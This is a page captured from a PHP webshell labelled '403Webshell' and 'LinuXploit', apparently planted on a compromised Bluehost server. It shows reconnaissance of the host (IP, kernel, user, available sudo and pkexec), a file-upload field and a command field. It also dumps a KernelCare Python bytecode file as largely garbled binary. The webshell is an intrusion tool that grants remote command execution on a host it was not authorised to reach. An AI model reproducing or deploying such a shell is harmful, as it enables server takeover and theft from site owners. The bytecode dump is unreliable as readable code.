403Webshell
Server IP : 162.241.219.206  /  Your IP : 216.73.216.195
Web Server : Apache
System : Linux box5669.bluehost.com 5.14.0-687.15.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jun 11 08:51:45 EDT 2026 x86_64
User : signavd5 ( 2863)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/kcare/python/kcarectl/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/kcare/python/kcarectl/__pycache__/config_handlers.cpython-39.pyc
a

��;j�&�5@s|ddlZddlZddlZddlmZmZmZmZmZddl	m
Z
dZgd�Ze�Zdd�Zd	d
�Ze�d�Zdd
�Zdd�deddd�eeeedeeeeeeeeedd�eeeeeeeedd�ejdd�dd�ejdejdd�dd�eeeeejddejeeeddeed�4Zdd�Zdd�ZGdd�de�Z dd�Z!d d!�Z"d"d#�Z#d$d%�Z$ej%ej&d&�d'd(��Z'ej%ej&d&�d)d*��Z(dS)+�N�)�config�	constants�
http_utils�	log_utils�utils)�ConfigParserz/etc/sysconfig/kcare/kcare.conf)�USE_CONTENT_FILE_V3�FORCE_JSON_SIG_V3�ENABLE_CRASHREPORTER�KCORE_OUTPUT�KMSG_OUTPUT�SEND_PERF_METRICS�KERNEL_ANOMALY_REPORT_ENABLE�FORCE_DOCTOR_FALLBACKcCs|��dvS)N)�1�TRUE�YES�Y)�upper��value�r�5/usr/libexec/kcare/python/kcarectl/config_handlers.py�bool_converter#srcCsdd�|�d�D�S)NcSs g|]}|��r|�����qSr)�strip�lower)�.0�itemrrr�
<listcomp>(�zcomma_list.<locals>.<listcomp>�,)�splitrrrr�
comma_list'sr#z^[a-z][a-z0-9_.+\-]*$cCsNgg}}t|�D]}t�|�r$|n|�|�q|rJt�d�d�|���|S)Nz3LIBCARE_LIBS: ignoring invalid library name(s): {0}�, )r#�_LIBCARE_LIB_NAME_RE�match�appendr�logwarn�format�join)rZvalid�invalid�tokenrrr�libcare_libs_list0s
r-cCs|��S�N�r��vrrr�<lambda>@r r2cCs|��Sr.r/r0rrrr2Dr cCs
|�d�S�N�/��rstripr0rrrr2Sr cCs|pdSr.rr0rrrr2\r cCs
|�d�Sr3r5r0rrrr2^r cCs
|�d�Sr3r5r0rrrr2_r cCs
|�d�Sr3r5r0rrrr2cr cCs
|�d�Sr3r5r0rrrr2dr )4�AFTER_UPDATE_COMMAND�AUTO_STICKY_PATCHSET�AUTO_UPDATE�AUTO_UPDATE_DELAY�BEFORE_UPDATE_COMMAND�CHECK_SSL_CERTS�DOCTOR_REPORT_MAX_SIZE_BYTESrr�	FORCE_GID�
FORCE_IPV4�
FORCE_IPV6r
�HTTP_TIMEOUT�HTTP_UPLOAD_TIMEOUT�IGNORE_FEATURE_FLAGS�IGNORE_UNKNOWN_KERNELr�KCORE_OUTPUT_SIZE�
KDUMPS_DIRr�$KERNEL_ANOMALY_REPORT_MAX_SIZE_BYTESr
�LIBCARE_DISABLED�LIBCARE_LIBS�!LIBCARE_PIDLOGS_MAX_TOTAL_SIZE_MB�LIBCARE_SOCKET_TIMEOUT�LIB_AUTO_UPDATE�PATCH_LEVEL�PATCH_METHOD�PATCH_SERVER�PATCH_SERVER_IPV6�
PATCH_TYPE�PREFIX�PREV_PATCH_TYPE�REGISTRATION_URL�REGISTRATION_URL_IPV6�PRINT_LEVEL�REPORT_FQDN�SILENCE_ERRORS�STATUS_CHANGE_GAP�STICKY_PATCH�STICKY_PATCHSET�UPDATE_DELAY�
UPDATE_POLICY�UPDATE_SYSCTL_CONFIG�USERSPACE_PATCHESr	�KERNEL_VERSION_FILE�KCARE_UNAME_FILE�SUCCESS_TIMEOUTrc	Ks�tt�}|��}|��|��D]�\}}d}|d}|d}tt|��D]P}||�|�sh||�|�rH|durx||=n|dt|�d||<d}q�qH|s |�	|dt|�d�q t
�td�|��dS)NF�=� z = �
T�)
�open�CONFIG�	readlines�close�items�range�len�
startswith�strr'r�atomic_writer*)	�kwargsZcf�linesZpropr�updatedZprop_eqZprop_sp�irrr�
update_configws"ruc
	Cs�i}t�d�}|D]<}|�|�}|r:|��\}}|sFd}ntd|��|||<qt|�tt�}|rztdd�t|����|�	�D]R\}}t|}	|dus�|	dur�q�z|	|�Wq�t
y�td||f��Yq�0q�tfi|��dS)Nz^([^=]+)=([^=]*)$z8Invalid parameter format: %s. Format should be KEY=VALUEzUnknown parameter: %sr$zBad value for %s: %s)�re�compiler&�groups�
SystemExit�set�POSSIBLE_CONFIG_OPTIONSr*�sortedrk�	Exceptionru)
�paramsZparams_for_update�pattern�paramr&�keyrZunknown_params�var_name�convertrrr�update_config_from_args�s,


r�c@s$eZdZdd�Zdd�Zdd�ZdS)�FakeSecHeadcCs||_d|_dS)Nz[asection]
)�fp�sechead)�selfr�rrr�__init__�szFakeSecHead.__init__cCs.|jr z|jWd|_Sd|_0n
|j��SdSr.)r�r��readline)r�rrrr��s�
zFakeSecHead.readlineccs*|jr|jVd|_|jD]
}|VqdSr.)r�r�)r��linerrr�__iter__�s

zFakeSecHead.__iter__N)�__name__�
__module__�__qualname__r�r�r�rrrrr��s	r�cs�i�tddd�d��z,ttt��}tjr4��|�n
��|�WntyViYS0d	��fdd�	}dD],\}}t	�
|�sl��d|�}|rl|tj
|<qlt��D]\}}|||d�q��S)
Nrf)�
HTTP_PROXY�HTTPS_PROXY)�defaultscsHz��d|�}Wnty&|}Yn0|durD|r<||�}|�|<dS)N�asection)�getr})�name�defaultr�r�Zcp�resultrr�read_var�s
z%get_config_settings.<locals>.read_var))�httpr�)�httpsr�r�)r�)NN)rr�rgrhr�PY2�readfp�	read_filer}r�get_proxy_from_envr��os�environr{rk)rr��scheme�variable�proxyr�r�rr�r�get_config_settings�s$

r�cCs(t��t�}tj�|�t�|�dSr.)�_CONFIG_OPTIONS�clearr�r�__dict__�update)Zsettingsrrr�set_settings_from_config_file�sr�c	Cszi}|��D]h\}}|��}|�d�s(q|�dd��dd�}ztt|��||<Wqtyrtj�	d||�Yq0q|S)ak
    Checking headers for feature flags which start with 'KC-Flag-' and
    reformat it to dictionary with keys in upper case and without 'KC-Flag-' prefix
    and dashes replaced with underscores. For unification all header keys are checked in upper case.
    For example:
    'KC-Flag-Some-Value' -> 'SOME_VALUE'
    :return: dict {'SOME_VALUE': bool, ...}
    zKC-FLAG-rf�-�_z(Invalid feature flag header value %s: %s)
rkrrn�replace�bool�int�
ValueErrorr�kcarelog�error)�headers�flagsZhdr_nameZ	hdr_valueZ
upper_name�
param_namerrr� convert_headers_to_feature_flags�s	
r�cCst|�tjst�dSr.)�save_feature_flags_cacherrC�set_feature_flags_from_cache)r�rrr�set_feature_flags_from_headerssr�)�loggercCs"t|�}tjtjt�|�d�dS)N)�content)r�rrpr�FEATURE_FLAGS_CACHE�json�dumps)r��
feature_flagsrrrr�	sr�cCs�tj�tj�sdSttj��}t�|�}Wd�n1s<0Y|��D]6\}}|t	vr`qN|t
vrjqN|tj|<t
j�d||�qNdS)z�
    Set global variables using feature flag from cached values received with patchserver headers.
    Checks that option is allowed by whitelist and update global variable
    using globals()
    :return: None
    Nz$feature flags config override: %s=%s)r��path�existsrr�rgr��loadrk�FEATURE_FLAGS_WHITELISTr�rr�rr��info)�fr�r�rrrrr�s(
r�))r�r�rvrfrrrrr�py23r�Dict�List�Optional�Setrhr�rzr�rr#rwr%r-r�rorrr{rur��objectr�r�r�r�r��catch_errorsr(r�r�rrrr�<module>s�
�9%	


Youez - 2016 - github.com/yon3zu
LinuXploit